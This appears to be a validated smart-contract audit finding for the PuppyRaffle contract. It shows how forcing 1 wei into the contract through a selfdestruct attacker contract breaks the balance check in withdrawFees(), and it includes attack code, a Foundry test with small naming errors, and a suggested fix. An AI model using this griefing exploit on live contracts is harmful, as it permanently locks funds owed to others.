Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

A malicious user could DOS withdrawFees() by sending only 1 wei

Summary

Attacker can make fee amount stuck in protocol by send 1 wei to protocol.

Vulnerability Details

Function withdrawFees() use condition require(address(this).balance == uint256(totalFees) to make sure only withdraw fee after players receive reward. But this condition will not correct if attacker try to send although only 1 wei to protocol by selfdestruct method, then condition will always false and fee will stuck in protocol.

Attacker will deploy a selfdestruct as below:

contract selfDestroy {
PuppyRaffle puppy;
constructor(PuppyRaffle _puppy) {
puppy = _puppy;
}
function attack() public payable {
// You can simply break withdraw by send 1 wei
address payable addr = payable(address(puppy));
selfdestruct(addr);
}
}

After deploy contract, attacker deposit 1 wei and call attack() function to trigger selfdestruct, then contract attack will be destroy and send 1 wei to protocol without make revert.

Step attack as test below:

function testCantWithdrawFeeIfSendMinWei() public playersEntered {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
selfDestroy attacker = new Attack(puppyRaffle);
vm.deal(address(attacker), 1 wei);
// selfdestruct to force send 1 wei to puppy contract
attack.attack();
puppyRaffle.selectWinner();
// try withdraw with not work althougth player have receive fund
puppyRaffle.withdrawFees(); // revert
}

Impact

Fee will stuck in protocol forever

Tools Used

Manual review / Foundry

Recommendations

Use a variable such as gameEnd = true updated before send reward to players in condition check to make sure game end to withdraw fund.

Updates

Lead Judging Commences

Hamiltonite Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

greifers-send-money-to-contract-to-block-withdrawfees

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.